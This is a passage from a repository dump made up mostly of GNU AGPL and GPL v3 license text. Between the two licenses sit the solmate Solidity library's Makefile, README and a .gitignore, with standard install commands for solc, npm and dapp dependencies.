All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Remote Network Interaction; Use with the GNU General Public License.
Notwithstanding any other provision of this License, if you modify the
Program, your modified version must prominently offer all users
interacting with it remotely through a computer network (if your version
supports such interaction) an opportunity to receive the Corresponding
Source of your version by providing access to the Corresponding Source
from a network server at no charge, through some standard or customary
means of facilitating copying of software. This Corresponding Source
shall include the Corresponding Source for any work covered by version 3
of the GNU General Public License that is incorporated pursuant to the
following paragraph.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the work with which it is combined will remain governed by version
3 of the GNU General Public License.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU Affero General Public License from time to time. Such new versions
will be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU Affero General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU Affero General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU Affero General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If your software can interact with users remotely through a computer
network, you should also make sure that it provides a way for users to
get its source. For example, if your program is a web application, its
interface could display a "Source" link that leads users to an archive
of the code. There are many ways you could offer source, and different
solutions will be better for different programs; see section 13 for the
specific requirements.
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU AGPL, see
.
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/Makefile
================================================
all: solc install update
# Install proper solc version.
solc:; nix-env -f https://github.com/dapphub/dapptools/archive/master.tar.gz -iA solc-static-versions.solc_0_8_10
# Install npm dependencies.
install:; npm install
# Install dapp dependencies.
update:; dapp update
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/README.md
================================================
# solmate
**Modern**, **opinionated**, and **gas optimized** building blocks for **smart contract development**.
## Contracts
```ml
auth
├─ Auth — "Flexible and updatable auth pattern"
├─ authorities
│ ├─ RolesAuthority — "Role based Authority that supports up to 256 roles"
│ ├─ MultiRolesAuthority — "Flexible and target agnostic role based Authority"
tokens
├─ WETH — "Minimalist and modern Wrapped Ether implementation"
├─ ERC20 — "Modern and gas efficient ERC20 + EIP-2612 implementation"
├─ ERC721 — "Modern, minimalist, and gas efficient ERC721 implementation"
├─ ERC1155 — "Minimalist and gas efficient standard ERC1155 implementation"
utils
├─ SSTORE2 - "Library for cheaper reads and writes to persistent storage"
├─ CREATE3 — "Deploy to deterministic addresses without an initcode factor"
├─ SafeCastLib - "Safe unsigned integer casting lib that reverts on overflow"
├─ ReentrancyGuard — "Gas optimized reentrancy protection for smart contracts"
├─ FixedPointMathLib — "Arithmetic library with operations for fixed-point numbers"
├─ Bytes32AddressLib — "Library for converting between addresses and bytes32 values"
├─ SafeTransferLib — "Safe ERC20/ETH transfer lib that handles missing return values"
```
## Installation
To install with [**DappTools**](https://github.com/dapphub/dapptools):
```sh
dapp install rari-capital/solmate
```
To install with [**Foundry**](https://github.com/gakonst/foundry):
```sh
forge install rari-capital/solmate
```
To install with [**Hardhat**](https://github.com/nomiclabs/hardhat) or [**Truffle**](https://github.com/trufflesuite/truffle):
```sh
npm install @rari-capital/solmate
```
## Acknowledgements
These contracts were inspired by or directly modified from many sources, primarily:
- [Gnosis](https://github.com/gnosis/gp-v2-contracts)
- [Uniswap](https://github.com/Uniswap/uniswap-lib)
- [Dappsys](https://github.com/dapphub/dappsys)
- [Dappsys V2](https://github.com/dapp-org/dappsys-v2)
- [0xSequence](https://github.com/0xSequence)
- [OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts)
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/lib/ds-test/.gitignore
================================================
/.dapple
/build
/out
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/lib/ds-test/LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
